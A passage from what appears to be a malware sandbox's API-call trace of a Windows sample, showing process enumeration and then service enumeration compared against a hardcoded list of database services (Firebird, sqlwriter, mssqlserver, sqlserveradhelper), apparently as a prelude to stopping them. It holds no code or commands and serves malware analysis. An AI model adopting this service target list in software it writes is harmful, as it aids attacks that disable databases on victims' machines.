pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0096.778] lstrlenW (lpString="paying.exe") returned 10 [0096.778] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0096.779] lstrlenW (lpString="emission.exe") returned 12 [0096.779] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0096.780] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0096.780] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0096.780] lstrlenW (lpString="charter.exe") returned 11 [0096.780] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0096.781] lstrlenW (lpString="nickel.exe") returned 10 [0096.781] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0096.782] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0096.782] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0096.783] lstrlenW (lpString="wrist.exe") returned 9 [0096.783] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0096.784] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0096.784] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0096.784] lstrlenW (lpString="neck.exe") returned 8 [0096.784] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0096.785] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0096.785] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0096.786] lstrlenW (lpString="dllhost.exe") returned 11 [0096.786] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.787] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.787] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.787] lstrlenW (lpString="svchost.exe") returned 11 [0096.787] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.788] lstrlenW (lpString="svchost.exe") returned 11 [0096.788] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0096.789] lstrlenW (lpString="reaItek.exe") returned 11 [0096.789] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.790] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.790] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0096.790] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0096.790] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.791] lstrlenW (lpString="conhost.exe") returned 11 [0096.791] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0096.792] lstrlenW (lpString="cmd.exe") returned 7 [0096.792] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.792] lstrlenW (lpString="conhost.exe") returned 11 [0096.792] Process32NextW (in: hSnapshot=0x284, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0096.793] CloseHandle (hObject=0x284) returned 1 [0096.793] Sleep (dwMilliseconds=0x1f4) [0098.083] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feb10 [0098.083] EnumServicesStatusExW (in: hSCManager=0x5feb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0098.083] GetLastError () returned 0xea [0098.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x61fb98 [0098.084] EnumServicesStatusExW (in: hSCManager=0x5feb10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61fb98, cbBufSize=0x1fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61fb98, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0098.084] CloseServiceHandle (hSCObject=0x5feb10) returned 1 [0098.084] lstrlenW (lpString="Appinfo") returned 7 [0098.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0098.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0098.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0098.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0098.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0098.085] lstrlenW (lpString="AppXSvc") returned 7 [0098.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0098.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0098.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0098.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0098.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0098.085] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0098.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0098.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0098.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0098.085] lstrlenW (lpString="Audiosrv") returned 8 [0098.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0098.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0098.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0098.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0098.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0098.085] lstrlenW (lpString="BFE") returned 3 [0098.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0098.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0098.085] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0098.085] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0098.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0098.085] lstrlenW (lpString="BITS") returned 4 [0098.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0098.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0098.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0098.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0098.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0098.086] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0098.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0098.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0098.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0098.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0098.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0098.086] lstrlenW (lpString="CDPSvc") returned 6 [0098.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0098.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0098.086] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0098.086] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0098.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0098.086] lstrlenW (lpString="ClickToRunSvc") returned 13 [0098.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0098.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0098.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0098.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0098.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0098.086] lstrlenW (lpString="ClipSVC") returned 7 [0098.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0098.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0098.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0098.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0098.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0098.086] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0098.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0098.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0098.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0098.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0098.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0098.087] lstrlenW (lpString="CryptSvc") returned 8 [0098.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0098.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0098.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0098.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0098.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0098.087] lstrlenW (lpString="DcomLaunch") returned 10 [0098.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0098.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0098.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0098.087] lstrlenW (lpString="DeviceAssociationService") returned 24 [0098.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0098.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0098.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0098.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0098.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0098.087] lstrlenW (lpString="Dhcp") returned 4 [0098.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0098.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0098.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0098.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0098.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0098.087] lstrlenW (lpString="Dnscache") returned 8 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0098.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0098.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0098.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0098.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0098.088] lstrlenW (lpString="DoSvc") returned 5 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0098.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0098.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0098.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0098.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0098.088] lstrlenW (lpString="DPS") returned 3 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0098.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0098.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0098.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0098.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0098.088] lstrlenW (lpString="DusmSvc") returned 7 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0098.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0098.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0098.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0098.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0098.088] lstrlenW (lpString="EventLog") returned 8 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0098.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0098.088] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0098.088] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0098.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0098.088] lstrlenW (lpString="EventSystem") returned 11 [0098.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0098.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0098.089] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0098.089] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0098.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0098.089] lstrlenW (lpString="FontCache") returned 9 [0098.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0098.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0098.089] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0098.089] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0098.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0098.089] lstrlenW (lpString="gpsvc") returned 5 [0098.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0098.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0098.089] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0098.089] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0098.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0098.089] lstrlenW (lpString="iphlpsvc") returned 8 [0098.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.089] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0098.089] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0098.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0098.089] lstrlenW (lpString="KeyIso") returned 6 [0098.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0098.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0098.089] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0098.089] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0098.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0098.089] lstrlenW (lpString="LanmanServer") returned 12 [0098.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0098.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0098.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0098.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0098.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0098.090] lstrlenW (lpString="LanmanWorkstation") returned 17 [0098.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0098.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0098.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0098.090] lstrlenW (lpString="lfsvc") returned 5 [0098.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0098.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0098.090] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0098.090] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0098.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0098.090] lstrlenW (lpString="LicenseManager") returned 14 [0098.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0098.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0098.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0098.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0098.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0098.090] lstrlenW (lpString="lmhosts") returned 7 [0098.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0098.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0098.090] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0098.090] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0098.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0098.091] lstrlenW (lpString="LSM") returned 3 [0098.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0098.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0098.091] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0098.091] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0098.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0098.091] lstrlenW (lpString="MapsBroker") returned 10 [0098.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0098.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0098.091] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0098.091] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0098.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0098.091] lstrlenW (lpString="MpsSvc") returned 6 [0098.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0098.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0098.091] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0098.091] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0098.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0098.091] lstrlenW (lpString="NcbService") returned 10 [0098.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0098.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0098.091] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0098.091] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0098.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0098.091] lstrlenW (lpString="netprofm") returned 8 [0098.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0098.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0098.091] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0098.091] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0098.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0098.092] lstrlenW (lpString="NlaSvc") returned 6 [0098.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0098.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0098.092] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0098.092] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0098.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0098.092] lstrlenW (lpString="nsi") returned 3 [0098.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0098.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0098.092] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0098.092] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0098.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0098.092] lstrlenW (lpString="PcaSvc") returned 6 [0098.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0098.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0098.092] lstrcmpiW 